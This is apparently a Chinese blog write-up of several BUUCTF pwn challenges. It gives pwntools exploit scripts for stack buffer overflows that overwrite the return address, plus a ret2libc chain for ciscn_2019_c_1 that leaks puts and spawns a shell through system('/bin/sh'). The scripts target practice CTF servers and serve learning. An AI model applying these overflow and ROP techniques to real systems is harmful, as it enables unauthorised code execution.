pwn好难啊

PWN

1,连上就有flag的pwn
nc buuoj.cn 6000得到flag

2,RIP覆盖一下
用ida分析一下,

发现已有了system,只需覆盖RIP为fun()的地址,用peda计算偏移为23,写脚本

from pwn import*
sh=remote('f.buuoj.cn',6001)
payload='a'*23+p64(0x401186)
sh.sendline(payload)
sh.interactive()

得到flag

3,warmup_csaw_2016

先拖进ida

找到了system地址

下载libc.so

用peda

找到ebp位置,需覆盖64+8字节,写脚本

from pwn import*
#sh=process('/home/harmonica/Desktop/warmup_csaw_2016.dms' )
sh=remote('pwn.buuoj.cn',20035)
payload='a'*72+p64(0x40060D)
sh.sendline(payload)
sh.interactive()

得到flag

4,ciscn_2019_c_1

栈溢出,查看保护

经过分析,需覆盖0x58字节,本来这题想不用给的libc,但用LibcSearcher找不到这个libc,还是去下了一份

查到/bin/sh位置

写脚本

from pwn import *
from LibcSearcher import LibcSearcher sh=remote('pwn.buuoj.cn',20115)
#sh=process('/home/harmonica/Desktop/ciscn_2019_c_1.dms')
ciscn=ELF('/home/harmonica/Desktop/ciscn_2019_c_1.dms')
libc=ELF('/home/harmonica/Desktop/x64_libc.so.6') def send(content):
sh.recvuntil('Input your choice!\n')
sh.sendline('')
sh.recvuntil('Input your Plaintext to be encrypted\n')
sh.sendline(content) puts_plt=ciscn.plt['puts']
puts_got=ciscn.got['puts']
main=ciscn.symbols['main']
pop_rdi=0x400c83 payload ='A' * 0x58+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
send(payload) sh.recvuntil('@\n')
puts_addr=u64(sh.recv(6).ljust(8,'\x00'))
#libc=LibcSearcher('puts', puts_addr)
libcbase=puts_addr-libc.sym['puts']
log.success("libcbase: "+hex(libcbase)) system_addr=libcbase+libc.sym['system']
binsh_addr=libcbase+0x18cd57 payload ='A'*0x58+p64(pop_rdi)+p64(binsh_addr)+p64(system_addr)
send(payload) sh.interactive()

得到flag

5, pwn1_sctf_2016

拖进ida,c++程序,找到主函数

程序中带了system

运行程序

当输入'I'时会转换为‘you’

fgets溢出,写exp

from pwn import *

sh=remote('pwn.buuoj.cn',20086)
get_flag=0x08048F0D payload='I'*0x14+'a'*4+p32(get_flag)
sh.sendline(payload) sh.interactive()

得到flag

BUUCTF PWN部分题目wp的更多相关文章

  1. (buuctf) - pwn入门部分wp - rip -- pwn1_sctf_2016

    [buuctf]pwn入门 pwn学习之路引入 栈溢出引入 test_your_nc [题目链接] 注意到 Ubuntu 18, Linux系统 . nc 靶场 nc node3.buuoj.cn 2 ...

  2. BUUCTF MISC部分题目wp

    MISC这里是平台上比较简单的misc,都放在一起,难一些的会单独写1,二维码图片里藏了一个压缩包,用binwalk -e分离,提示密码为4个数字,fcrackzip -b -c1 -l 4 -u 得 ...

  3. BUUCTF CRYPTO部分题目wp

    对密码学了解不多,做一下熟悉熟悉 1,看我回旋踢 给的密文synt{5pq1004q-86n5-46q8-o720-oro5on0417r1} 简单的凯撒密码,用http://www.zjslove. ...

  4. BUUCTF RE部分题目wp

    RE 1,easyre拖进ida,得到flag 2,helloworld 将文件拖入apk改之理,得到flag 3,xor拖进ida,就是简单异或,写脚本 glo=[0x66,0x0a,0x6b,0x ...

  5. [BUUCTF]PWN——babyheap_0ctf_2017

    [BUUCTF]PWN--babyheap_0ctf_2017 附件 步骤: 例行检查,64位,保护全开 试运行一下程序,看到这个布局菜单,知道了这是一道堆的题目,第一次接触堆的小伙伴可以去看一下这个 ...

  6. 【pwn】攻防世界 pwn新手区wp

    [pwn]攻防世界 pwn新手区wp 前言 这几天恶补pwn的各种知识点,然后看了看攻防世界的pwn新手区没有堆题(堆才刚刚开始看),所以就花了一晚上的时间把新手区的10题给写完了. 1.get_sh ...

  7. 使用pwn_deploy_chroot部署国赛pwn比赛题目

    目录 使用pwn_deploy_chroot部署国赛pwn比赛题目 一.前言 二.Docker 三.部署镜像 四.pwn_deploy_chroot 五.check && exp 六. ...

  8. BUUCTF pwn一分题目

    因为以前做过一些题目,看见1分题目也不太多了,就想着,抓紧点把1分题都刷一下吧.所以开个帖子记录一下,题目简单的话就只贴exp了. [BJDCTF 2nd]secret 这里有一个输入可以进行溢出,n ...

  9. [BUUCTF]PWN——[V&N2020 公开赛]simpleHeap

    [V&N2020 公开赛]simpleHeap 附件 步骤: 例行检查,64位,保护全开 根据题目可知是一道堆,直接用64位ida打开 我修改了这些函数的名称,这样方便看程序 add,我们可以 ...

随机推荐

  1. poj3252 Round Numbers(数位dp)

    题目传送门 Round Numbers Time Limit: 2000MS   Memory Limit: 65536K Total Submissions: 16439   Accepted: 6 ...

  2. 43.和为S的连续正数序列

    题目描述:   小明很喜欢数学,有一天他在做数学作业时,要求计算出9~16的和,他马上就写出了正确答案是100.但是他并不满足于此,他在想究竟有多少种连续的正数序列的和为100(至少包括两个数).没多 ...

  3. php操作redis常用方法代码示例

     redis 的连接 描述:实例连接到一个Redis. 参数:host: string,port: int 返回值:BOOL 成功返回:TRUE;失败返回:FALSE $redis = new Red ...

  4. JavaSE---环境配置

    1.概述 1.1 PATH环境变量 a,Java程序   编译.运行时   需要用到java.javac命令,虽然计算机中已经安装了JDK,但是计算机不知道去哪里找这个命令: b,计算机如何查找命令呢 ...

  5. 模板方法模式TemplateMethod

    原创转载请注明出处:https://www.cnblogs.com/agilestyle/p/11407071.html 1. 定义定义一个操作中的算法的骨架,而将一些步骤延迟到子类中.模板方法使得子 ...

  6. shell 读取文件的每一行

    1.使用while #!/bin/bash while read line do echo $line done < file.txt #!/bin/bash cat file.txt | wh ...

  7. PHP curl_reset函数

    curl_reset— 重置libcurl会话句柄的所有选项. 说明 void curl_reset ( resource $ch ) 该函数将重新初始化cURL的所有选项值(默认值). 注意:cur ...

  8. Python每日一题 006

    题目 你有一个目录,装了很多照片,把它们的尺寸变成都不大于 iPhone5 分辨率的大小. 如果只是单纯的通过将图片缩放到iPhone5分辨率大小,显然最后呈现出来的效果会很糟糕.所以等比例缩放到长( ...

  9. python数据结构:进制转化探索

    *********************************第一部分*************************************************************** ...

  10. jQuery函数API,各版本新特性汇总

    jQuery API 速查表 选择器 基本 #id element .class * selector1,selector2,selectorN 层级 ancestor descendant pare ...